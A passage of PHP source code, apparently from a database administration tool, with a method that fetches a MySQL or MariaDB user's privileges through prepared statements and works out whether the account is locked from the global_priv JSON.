https://dev.mysql.com/doc/refman/en/account-locking.html * @see https://mariadb.com/kb/en/account-locking/ * * @return array|null */ private function getUserPrivileges(string $user, string $host, bool $hasAccountLocking): ?array { $query = 'SELECT * FROM `mysql`.`user` WHERE `User` = ? AND `Host` = ?;'; /** @var mysqli_stmt|false $statement */ $statement = $this->dbi->prepare($query); if ($statement === false || ! $statement->bind_param('ss', $user, $host) || ! $statement->execute()) { return null; } $result = new MysqliResult($statement->get_result()); /** @var array|null $userPrivileges */ $userPrivileges = $result->fetchAssoc(); if ($userPrivileges === []) { return null; } if (! $hasAccountLocking || ! $this->dbi->isMariaDB()) { return $userPrivileges; } $userPrivileges['account_locked'] = 'N'; $query = 'SELECT * FROM `mysql`.`global_priv` WHERE `User` = ? AND `Host` = ?;'; /** @var mysqli_stmt|false $statement */ $statement = $this->dbi->prepare($query); if ($statement === false || ! $statement->bind_param('ss', $user, $host) || ! $statement->execute()) { return $userPrivileges; } $result = new MysqliResult($statement->get_result()); /** @var array|null $globalPrivileges */ $globalPrivileges = $result->fetchAssoc(); if ($globalPrivileges === []) { return $userPrivileges; } $privileges = json_decode($globalPrivileges['Priv'] ?? '[]', true); if (! is_array($privileges)) { return $userPrivileges; } if (isset($privileges['account_locked']) && $privileges['account_locked']) { $userPrivileges['account_locked'] = 'Y'; } return $userPrivileges; } }